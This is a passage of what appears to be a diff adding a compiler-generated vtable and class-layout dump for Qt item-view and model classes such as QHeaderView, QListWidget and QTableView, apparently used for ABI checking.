+352 QColumnView::isIndexHidden
+356 QColumnView::setSelection
+360 QColumnView::visualRegionForSelection
+364 QAbstractItemView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QAbstractItemView::startDrag
+380 QAbstractItemView::viewOptions
+384 QColumnView::createColumn
+388 (int (*)(...))-0x000000008
+392 (int (*)(...))(& _ZTI11QColumnView)
+396 QColumnView::_ZThn8_N11QColumnViewD1Ev
+400 QColumnView::_ZThn8_N11QColumnViewD0Ev
+404 QWidget::_ZThn8_NK7QWidget7devTypeEv
+408 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+412 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QColumnView
+ size=20 align=4
+ base size=20 base align=4
+QColumnView (0xb2554c40) 0
+ vptr=((& QColumnView::_ZTV11QColumnView) + 8u)
+ QAbstractItemView (0xb2554c80) 0
+ primary-for QColumnView (0xb2554c40)
+ QAbstractScrollArea (0xb2554cc0) 0
+ primary-for QAbstractItemView (0xb2554c80)
+ QFrame (0xb2554d00) 0
+ primary-for QAbstractScrollArea (0xb2554cc0)
+ QWidget (0xb2587640) 0
+ primary-for QFrame (0xb2554d00)
+ QObject (0xb255b780) 0
+ primary-for QWidget (0xb2587640)
+ QPaintDevice (0xb255b7bc) 8
+ vptr=((& QColumnView::_ZTV11QColumnView) + 396u)
+
+Vtable for QDataWidgetMapper
+QDataWidgetMapper::_ZTV17QDataWidgetMapper: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QDataWidgetMapper)
+8 QDataWidgetMapper::metaObject
+12 QDataWidgetMapper::qt_metacast
+16 QDataWidgetMapper::qt_metacall
+20 QDataWidgetMapper::~QDataWidgetMapper
+24 QDataWidgetMapper::~QDataWidgetMapper
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QDataWidgetMapper::setCurrentIndex
+
+Class QDataWidgetMapper
+ size=8 align=4
+ base size=8 base align=4
+QDataWidgetMapper (0xb2554fc0) 0
+ vptr=((& QDataWidgetMapper::_ZTV17QDataWidgetMapper) + 8u)
+ QObject (0xb255b9d8) 0
+ primary-for QDataWidgetMapper (0xb2554fc0)
+
+Vtable for QFileIconProvider
+QFileIconProvider::_ZTV17QFileIconProvider: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QFileIconProvider)
+8 QFileIconProvider::~QFileIconProvider
+12 QFileIconProvider::~QFileIconProvider
+16 QFileIconProvider::icon
+20 QFileIconProvider::icon
+24 QFileIconProvider::type
+
+Class QFileIconProvider
+ size=8 align=4
+ base size=8 base align=4
+QFileIconProvider (0xb255bbf4) 0
+ vptr=((& QFileIconProvider::_ZTV17QFileIconProvider) + 8u)
+
+Vtable for QDirModel
+QDirModel::_ZTV9QDirModel: 42u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QDirModel)
+8 QDirModel::metaObject
+12 QDirModel::qt_metacast
+16 QDirModel::qt_metacall
+20 QDirModel::~QDirModel
+24 QDirModel::~QDirModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QDirModel::index
+60 QDirModel::parent
+64 QDirModel::rowCount
+68 QDirModel::columnCount
+72 QDirModel::hasChildren
+76 QDirModel::data
+80 QDirModel::setData
+84 QDirModel::headerData
+88 QAbstractItemModel::setHeaderData
+92 QAbstractItemModel::itemData
+96 QAbstractItemModel::setItemData
+100 QDirModel::mimeTypes
+104 QDirModel::mimeData
+108 QDirModel::dropMimeData
+112 QDirModel::supportedDropActions
+116 QAbstractItemModel::insertRows
+120 QAbstractItemModel::insertColumns
+124 QAbstractItemModel::removeRows
+128 QAbstractItemModel::removeColumns
+132 QAbstractItemModel::fetchMore
+136 QAbstractItemModel::canFetchMore
+140 QDirModel::flags
+144 QDirModel::sort
+148 QAbstractItemModel::buddy
+152 QAbstractItemModel::match
+156 QAbstractItemModel::span
+160 QAbstractItemModel::submit
+164 QAbstractItemModel::revert
+
+Class QDirModel
+ size=8 align=4
+ base size=8 base align=4
+QDirModel (0xb25a33c0) 0
+ vptr=((& QDirModel::_ZTV9QDirModel) + 8u)
+ QAbstractItemModel (0xb25a3400) 0
+ primary-for QDirModel (0xb25a33c0)
+ QObject (0xb255bd5c) 0
+ primary-for QAbstractItemModel (0xb25a3400)
+
+Vtable for QHeaderView
+QHeaderView::_ZTV11QHeaderView: 105u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QHeaderView)
+8 QHeaderView::metaObject
+12 QHeaderView::qt_metacast
+16 QHeaderView::qt_metacall
+20 QHeaderView::~QHeaderView
+24 QHeaderView::~QHeaderView
+28 QHeaderView::event
+32 QObject::eventFilter
+36 QAbstractItemView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QHeaderView::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QHeaderView::mousePressEvent
+84 QHeaderView::mouseReleaseEvent
+88 QHeaderView::mouseDoubleClickEvent
+92 QHeaderView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractItemView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QHeaderView::paintEvent
+128 QWidget::moveEvent
+132 QAbstractItemView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QAbstractItemView::dragMoveEvent
+160 QAbstractItemView::dragLeaveEvent
+164 QAbstractItemView::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QHeaderView::viewportEvent
+228 QHeaderView::scrollContentsBy
+232 QHeaderView::setModel
+236 QAbstractItemView::setSelectionModel
+240 QAbstractItemView::keyboardSearch
+244 QHeaderView::visualRect
+248 QHeaderView::scrollTo
+252 QHeaderView::indexAt
+256 QAbstractItemView::sizeHintForRow
+260 QAbstractItemView::sizeHintForColumn
+264 QHeaderView::reset
+268 QAbstractItemView::setRootIndex
+272 QHeaderView::doItemsLayout
+276 QAbstractItemView::selectAll
+280 QHeaderView::dataChanged
+284 QHeaderView::rowsInserted
+288 QAbstractItemView::rowsAboutToBeRemoved
+292 QAbstractItemView::selectionChanged
+296 QHeaderView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QHeaderView::updateGeometries
+312 QAbstractItemView::verticalScrollbarAction
+316 QAbstractItemView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QHeaderView::moveCursor
+344 QHeaderView::horizontalOffset
+348 QHeaderView::verticalOffset
+352 QHeaderView::isIndexHidden
+356 QHeaderView::setSelection
+360 QHeaderView::visualRegionForSelection
+364 QAbstractItemView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QAbstractItemView::startDrag
+380 QAbstractItemView::viewOptions
+384 QHeaderView::paintSection
+388 QHeaderView::sectionSizeFromContents
+392 (int (*)(...))-0x000000008
+396 (int (*)(...))(& _ZTI11QHeaderView)
+400 QHeaderView::_ZThn8_N11QHeaderViewD1Ev
+404 QHeaderView::_ZThn8_N11QHeaderViewD0Ev
+408 QWidget::_ZThn8_NK7QWidget7devTypeEv
+412 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+416 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QHeaderView
+ size=20 align=4
+ base size=20 base align=4
+QHeaderView (0xb25a36c0) 0
+ vptr=((& QHeaderView::_ZTV11QHeaderView) + 8u)
+ QAbstractItemView (0xb25a3700) 0
+ primary-for QHeaderView (0xb25a36c0)
+ QAbstractScrollArea (0xb25a3740) 0
+ primary-for QAbstractItemView (0xb25a3700)
+ QFrame (0xb25a3780) 0
+ primary-for QAbstractScrollArea (0xb25a3740)
+ QWidget (0xb25c8e60) 0
+ primary-for QFrame (0xb25a3780)
+ QObject (0xb255bf78) 0
+ primary-for QWidget (0xb25c8e60)
+ QPaintDevice (0xb255bfb4) 8
+ vptr=((& QHeaderView::_ZTV11QHeaderView) + 400u)
+
+Vtable for QItemDelegate
+QItemDelegate::_ZTV13QItemDelegate: 25u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QItemDelegate)
+8 QItemDelegate::metaObject
+12 QItemDelegate::qt_metacast
+16 QItemDelegate::qt_metacall
+20 QItemDelegate::~QItemDelegate
+24 QItemDelegate::~QItemDelegate
+28 QObject::event
+32 QItemDelegate::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QItemDelegate::paint
+60 QItemDelegate::sizeHint
+64 QItemDelegate::createEditor
+68 QItemDelegate::setEditorData
+72 QItemDelegate::setModelData
+76 QItemDelegate::updateEditorGeometry
+80 QItemDelegate::editorEvent
+84 QItemDelegate::drawDisplay
+88 QItemDelegate::drawDecoration
+92 QItemDelegate::drawFocus
+96 QItemDelegate::drawCheck
+
+Class QItemDelegate
+ size=8 align=4
+ base size=8 base align=4
+QItemDelegate (0xb25a3b40) 0
+ vptr=((& QItemDelegate::_ZTV13QItemDelegate) + 8u)
+ QAbstractItemDelegate (0xb25a3b80) 0
+ primary-for QItemDelegate (0xb25a3b40)
+ QObject (0xb25f02d0) 0
+ primary-for QAbstractItemDelegate (0xb25a3b80)
+
+Vtable for QItemEditorCreatorBase
+QItemEditorCreatorBase::_ZTV22QItemEditorCreatorBase: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QItemEditorCreatorBase)
+8 QItemEditorCreatorBase::~QItemEditorCreatorBase
+12 QItemEditorCreatorBase::~QItemEditorCreatorBase
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QItemEditorCreatorBase
+ size=4 align=4
+ base size=4 base align=4
+QItemEditorCreatorBase (0xb25f04ec) 0 nearly-empty
+ vptr=((& QItemEditorCreatorBase::_ZTV22QItemEditorCreatorBase) + 8u)
+
+Vtable for QItemEditorFactory
+QItemEditorFactory::_ZTV18QItemEditorFactory: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QItemEditorFactory)
+8 QItemEditorFactory::~QItemEditorFactory
+12 QItemEditorFactory::~QItemEditorFactory
+16 QItemEditorFactory::createEditor
+20 QItemEditorFactory::valuePropertyName
+
+Class QItemEditorFactory
+ size=8 align=4
+ base size=8 base align=4
+QItemEditorFactory (0xb25f0780) 0
+ vptr=((& QItemEditorFactory::_ZTV18QItemEditorFactory) + 8u)
+
+Vtable for QListWidgetItem
+QListWidgetItem::_ZTV15QListWidgetItem: 11u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QListWidgetItem)
+8 QListWidgetItem::~QListWidgetItem
+12 QListWidgetItem::~QListWidgetItem
+16 QListWidgetItem::clone
+20 QListWidgetItem::setBackgroundColor
+24 QListWidgetItem::data
+28 QListWidgetItem::setData
+32 QListWidgetItem::operator<
+36 QListWidgetItem::read
+40 QListWidgetItem::write
+
+Class QListWidgetItem
+ size=24 align=4
+ base size=24 base align=4
+QListWidgetItem (0xb25f0a50) 0
+ vptr=((& QListWidgetItem::_ZTV15QListWidgetItem) + 8u)
+
+Vtable for QListWidget
+QListWidget::_ZTV11QListWidget: 107u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QListWidget)
+8 QListWidget::metaObject
+12 QListWidget::qt_metacast
+16 QListWidget::qt_metacall
+20 QListWidget::~QListWidget
+24 QListWidget::~QListWidget
+28 QListWidget::event
+32 QObject::eventFilter
+36 QListView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractItemView::mousePressEvent
+84 QListView::mouseReleaseEvent
+88 QAbstractItemView::mouseDoubleClickEvent
+92 QListView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractItemView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QListView::paintEvent
+128 QWidget::moveEvent
+132 QListView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QListView::dragMoveEvent
+160 QListView::dragLeaveEvent
+164 QListWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractItemView::viewportEvent
+228 QListView::scrollContentsBy
+232 QListWidget::setModel
+236 QAbstractItemView::setSelectionModel
+240 QAbstractItemView::keyboardSearch
+244 QListView::visualRect
+248 QListView::scrollTo
+252 QListView::indexAt
+256 QAbstractItemView::sizeHintForRow
+260 QAbstractItemView::sizeHintForColumn
+264 QListView::reset
+268 QListView::setRootIndex
+272 QListView::doItemsLayout
+276 QAbstractItemView::selectAll
+280 QListView::dataChanged
+284 QListView::rowsInserted
+288 QListView::rowsAboutToBeRemoved
+292 QListView::selectionChanged
+296 QListView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QListView::updateGeometries
+312 QAbstractItemView::verticalScrollbarAction
+316 QAbstractItemView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QListView::moveCursor
+344 QListView::horizontalOffset
+348 QListView::verticalOffset
+352 QListView::isIndexHidden
+356 QListView::setSelection
+360 QListView::visualRegionForSelection
+364 QListView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QListView::startDrag
+380 QListView::viewOptions
+384 QListWidget::mimeTypes
+388 QListWidget::mimeData
+392 QListWidget::dropMimeData
+396 QListWidget::supportedDropActions
+400 (int (*)(...))-0x000000008
+404 (int (*)(...))(& _ZTI11QListWidget)
+408 QListWidget::_ZThn8_N11QListWidgetD1Ev
+412 QListWidget::_ZThn8_N11QListWidgetD0Ev
+416 QWidget::_ZThn8_NK7QWidget7devTypeEv
+420 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+424 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QListWidget
+ size=20 align=4
+ base size=20 base align=4
+QListWidget (0xb241a4c0) 0
+ vptr=((& QListWidget::_ZTV11QListWidget) + 8u)
+ QListView (0xb241a500) 0
+ primary-for QListWidget (0xb241a4c0)
+ QAbstractItemView (0xb241a540) 0
+ primary-for QListView (0xb241a500)
+ QAbstractScrollArea (0xb241a580) 0
+ primary-for QAbstractItemView (0xb241a540)
+ QFrame (0xb241a5c0) 0
+ primary-for QAbstractScrollArea (0xb241a580)
+ QWidget (0xb241f8c0) 0
+ primary-for QFrame (0xb241a5c0)
+ QObject (0xb240db40) 0
+ primary-for QWidget (0xb241f8c0)
+ QPaintDevice (0xb240db7c) 8
+ vptr=((& QListWidget::_ZTV11QListWidget) + 408u)
+
+Vtable for QProxyModel
+QProxyModel::_ZTV11QProxyModel: 43u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QProxyModel)
+8 QProxyModel::metaObject
+12 QProxyModel::qt_metacast
+16 QProxyModel::qt_metacall
+20 QProxyModel::~QProxyModel
+24 QProxyModel::~QProxyModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QProxyModel::index
+60 QProxyModel::parent
+64 QProxyModel::rowCount
+68 QProxyModel::columnCount
+72 QProxyModel::hasChildren
+76 QProxyModel::data
+80 QProxyModel::setData
+84 QProxyModel::headerData
+88 QProxyModel::setHeaderData
+92 QAbstractItemModel::itemData
+96 QAbstractItemModel::setItemData
+100 QProxyModel::mimeTypes
+104 QProxyModel::mimeData
+108 QProxyModel::dropMimeData
+112 QProxyModel::supportedDropActions
+116 QProxyModel::insertRows
+120 QProxyModel::insertColumns
+124 QAbstractItemModel::removeRows
+128 QAbstractItemModel::removeColumns
+132 QProxyModel::fetchMore
+136 QAbstractItemModel::canFetchMore
+140 QProxyModel::flags
+144 QProxyModel::sort
+148 QAbstractItemModel::buddy
+152 QProxyModel::match
+156 QProxyModel::span
+160 QProxyModel::submit
+164 QProxyModel::revert
+168 QProxyModel::setModel
+
+Class QProxyModel
+ size=8 align=4
+ base size=8 base align=4
+QProxyModel (0xb241ac00) 0
+ vptr=((& QProxyModel::_ZTV11QProxyModel) + 8u)
+ QAbstractItemModel (0xb241ac40) 0
+ primary-for QProxyModel (0xb241ac00)
+ QObject (0xb24411a4) 0
+ primary-for QAbstractItemModel (0xb241ac40)
+
+Vtable for QSortFilterProxyModel
+QSortFilterProxyModel::_ZTV21QSortFilterProxyModel: 50u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QSortFilterProxyModel)
+8 QSortFilterProxyModel::metaObject
+12 QSortFilterProxyModel::qt_metacast
+16 QSortFilterProxyModel::qt_metacall
+20 QSortFilterProxyModel::~QSortFilterProxyModel
+24 QSortFilterProxyModel::~QSortFilterProxyModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QSortFilterProxyModel::index
+60 QSortFilterProxyModel::parent
+64 QSortFilterProxyModel::rowCount
+68 QSortFilterProxyModel::columnCount
+72 QSortFilterProxyModel::hasChildren
+76 QSortFilterProxyModel::data
+80 QSortFilterProxyModel::setData
+84 QSortFilterProxyModel::headerData
+88 QSortFilterProxyModel::setHeaderData
+92 QAbstractProxyModel::itemData
+96 QAbstractItemModel::setItemData
+100 QSortFilterProxyModel::mimeTypes
+104 QSortFilterProxyModel::mimeData
+108 QSortFilterProxyModel::dropMimeData
+112 QSortFilterProxyModel::supportedDropActions
+116 QSortFilterProxyModel::insertRows
+120 QSortFilterProxyModel::insertColumns
+124 QSortFilterProxyModel::removeRows
+128 QSortFilterProxyModel::removeColumns
+132 QSortFilterProxyModel::fetchMore
+136 QSortFilterProxyModel::canFetchMore
+140 QSortFilterProxyModel::flags
+144 QSortFilterProxyModel::sort
+148 QSortFilterProxyModel::buddy
+152 QSortFilterProxyModel::match
+156 QSortFilterProxyModel::span
+160 QAbstractProxyModel::submit
+164 QAbstractProxyModel::revert
+168 QSortFilterProxyModel::setSourceModel
+172 QSortFilterProxyModel::mapToSource
+176 QSortFilterProxyModel::mapFromSource
+180 QSortFilterProxyModel::mapSelectionToSource
+184 QSortFilterProxyModel::mapSelectionFromSource
+188 QSortFilterProxyModel::filterAcceptsRow
+192 QSortFilterProxyModel::filterAcceptsColumn
+196 QSortFilterProxyModel::lessThan
+
+Class QSortFilterProxyModel
+ size=8 align=4
+ base size=8 base align=4
+QSortFilterProxyModel (0xb241af00) 0
+ vptr=((& QSortFilterProxyModel::_ZTV21QSortFilterProxyModel) + 8u)
+ QAbstractProxyModel (0xb241af40) 0
+ primary-for QSortFilterProxyModel (0xb241af00)
+ QAbstractItemModel (0xb241af80) 0
+ primary-for QAbstractProxyModel (0xb241af40)
+ QObject (0xb24413c0) 0
+ primary-for QAbstractItemModel (0xb241af80)
+
+Vtable for QStandardItem
+QStandardItem::_ZTV13QStandardItem: 11u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QStandardItem)
+8 QStandardItem::~QStandardItem
+12 QStandardItem::~QStandardItem
+16 QStandardItem::data
+20 QStandardItem::setData
+24 QStandardItem::clone
+28 QStandardItem::type
+32 QStandardItem::read
+36 QStandardItem::write
+40 QStandardItem::operator<
+
+Class QStandardItem
+ size=8 align=4
+ base size=8 base align=4
+QStandardItem (0xb24415dc) 0
+ vptr=((& QStandardItem::_ZTV13QStandardItem) + 8u)
+
+Vtable for QStandardItemModel
+QStandardItemModel::_ZTV18QStandardItemModel: 42u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QStandardItemModel)
+8 QStandardItemModel::metaObject
+12 QStandardItemModel::qt_metacast
+16 QStandardItemModel::qt_metacall
+20 QStandardItemModel::~QStandardItemModel
+24 QStandardItemModel::~QStandardItemModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QStandardItemModel::index
+60 QStandardItemModel::parent
+64 QStandardItemModel::rowCount
+68 QStandardItemModel::columnCount
+72 QStandardItemModel::hasChildren
+76 QStandardItemModel::data
+80 QStandardItemModel::setData
+84 QStandardItemModel::headerData
+88 QStandardItemModel::setHeaderData
+92 QStandardItemModel::itemData
+96 QStandardItemModel::setItemData
+100 QStandardItemModel::mimeTypes
+104 QStandardItemModel::mimeData
+108 QStandardItemModel::dropMimeData
+112 QStandardItemModel::supportedDropActions
+116 QStandardItemModel::insertRows
+120 QStandardItemModel::insertColumns
+124 QStandardItemModel::removeRows
+128 QStandardItemModel::removeColumns
+132 QAbstractItemModel::fetchMore
+136 QAbstractItemModel::canFetchMore
+140 QStandardItemModel::flags
+144 QStandardItemModel::sort
+148 QAbstractItemModel::buddy
+152 QAbstractItemModel::match
+156 QAbstractItemModel::span
+160 QAbstractItemModel::submit
+164 QAbstractItemModel::revert
+
+Class QStandardItemModel
+ size=8 align=4
+ base size=8 base align=4
+QStandardItemModel (0xb22d7600) 0
+ vptr=((& QStandardItemModel::_ZTV18QStandardItemModel) + 8u)
+ QAbstractItemModel (0xb22d7640) 0
+ primary-for QStandardItemModel (0xb22d7600)
+ QObject (0xb24d1708) 0
+ primary-for QAbstractItemModel (0xb22d7640)
+
+Vtable for QStringListModel
+QStringListModel::_ZTV16QStringListModel: 42u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QStringListModel)
+8 QStringListModel::metaObject
+12 QStringListModel::qt_metacast
+16 QStringListModel::qt_metacall
+20 QStringListModel::~QStringListModel
+24 QStringListModel::~QStringListModel
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QAbstractListModel::index
+60 QAbstractListModel::parent
+64 QStringListModel::rowCount
+68 QAbstractListModel::columnCount
+72 QAbstractListModel::hasChildren
+76 QStringListModel::data
+80 QStringListModel::setData
+84 QAbstractItemModel::headerData
+88 QAbstractItemModel::setHeaderData
+92 QAbstractItemModel::itemData
+96 QAbstractItemModel::setItemData
+100 QAbstractItemModel::mimeTypes
+104 QAbstractItemModel::mimeData
+108 QAbstractListModel::dropMimeData
+112 QStringListModel::supportedDropActions
+116 QStringListModel::insertRows
+120 QAbstractItemModel::insertColumns
+124 QStringListModel::removeRows
+128 QAbstractItemModel::removeColumns
+132 QAbstractItemModel::fetchMore
+136 QAbstractItemModel::canFetchMore
+140 QStringListModel::flags
+144 QStringListModel::sort
+148 QAbstractItemModel::buddy
+152 QAbstractItemModel::match
+156 QAbstractItemModel::span
+160 QAbstractItemModel::submit
+164 QAbstractItemModel::revert
+
+Class QStringListModel
+ size=12 align=4
+ base size=12 base align=4
+QStringListModel (0xb22d7a40) 0
+ vptr=((& QStringListModel::_ZTV16QStringListModel) + 8u)
+ QAbstractListModel (0xb22d7a80) 0
+ primary-for QStringListModel (0xb22d7a40)
+ QAbstractItemModel (0xb22d7ac0) 0
+ primary-for QAbstractListModel (0xb22d7a80)
+ QObject (0xb24d1a14) 0
+ primary-for QAbstractItemModel (0xb22d7ac0)
+
+Vtable for QStyledItemDelegate
+QStyledItemDelegate::_ZTV19QStyledItemDelegate: 23u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QStyledItemDelegate)
+8 QStyledItemDelegate::metaObject
+12 QStyledItemDelegate::qt_metacast
+16 QStyledItemDelegate::qt_metacall
+20 QStyledItemDelegate::~QStyledItemDelegate
+24 QStyledItemDelegate::~QStyledItemDelegate
+28 QObject::event
+32 QStyledItemDelegate::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QStyledItemDelegate::paint
+60 QStyledItemDelegate::sizeHint
+64 QStyledItemDelegate::createEditor
+68 QStyledItemDelegate::setEditorData
+72 QStyledItemDelegate::setModelData
+76 QStyledItemDelegate::updateEditorGeometry
+80 QStyledItemDelegate::editorEvent
+84 QStyledItemDelegate::displayText
+88 QStyledItemDelegate::initStyleOption
+
+Class QStyledItemDelegate
+ size=8 align=4
+ base size=8 base align=4
+QStyledItemDelegate (0xb22d7d00) 0
+ vptr=((& QStyledItemDelegate::_ZTV19QStyledItemDelegate) + 8u)
+ QAbstractItemDelegate (0xb22d7d40) 0
+ primary-for QStyledItemDelegate (0xb22d7d00)
+ QObject (0xb24d1b40) 0
+ primary-for QAbstractItemDelegate (0xb22d7d40)
+
+Vtable for QTableView
+QTableView::_ZTV10QTableView: 103u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QTableView)
+8 QTableView::metaObject
+12 QTableView::qt_metacast
+16 QTableView::qt_metacall
+20 QTableView::~QTableView
+24 QTableView::~QTableView
+28 QAbstractItemView::event
+32 QObject::eventFilter
+36 QTableView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractItemView::mousePressEvent
+84 QAbstractItemView::mouseReleaseEvent
+88 QAbstractItemView::mouseDoubleClickEvent
+92 QAbstractItemView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractItemView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QTableView::paintEvent
+128 QWidget::moveEvent
+132 QAbstractItemView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QAbstractItemView::dragMoveEvent
+160 QAbstractItemView::dragLeaveEvent
+164 QAbstractItemView::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractItemView::viewportEvent
+228 QTableView::scrollContentsBy
+232 QTableView::setModel
+236 QTableView::setSelectionModel
+240 QAbstractItemView::keyboardSearch
+244 QTableView::visualRect
+248 QTableView::scrollTo
+252 QTableView::indexAt
+256 QTableView::sizeHintForRow
+260 QTableView::sizeHintForColumn
+264 QAbstractItemView::reset
+268 QTableView::setRootIndex
+272 QAbstractItemView::doItemsLayout
+276 QAbstractItemView::selectAll
+280 QAbstractItemView::dataChanged
+284 QAbstractItemView::rowsInserted
+288 QAbstractItemView::rowsAboutToBeRemoved
+292 QTableView::selectionChanged
+296 QTableView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QTableView::updateGeometries
+312 QTableView::verticalScrollbarAction
+316 QTableView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QTableView::moveCursor
+344 QTableView::horizontalOffset
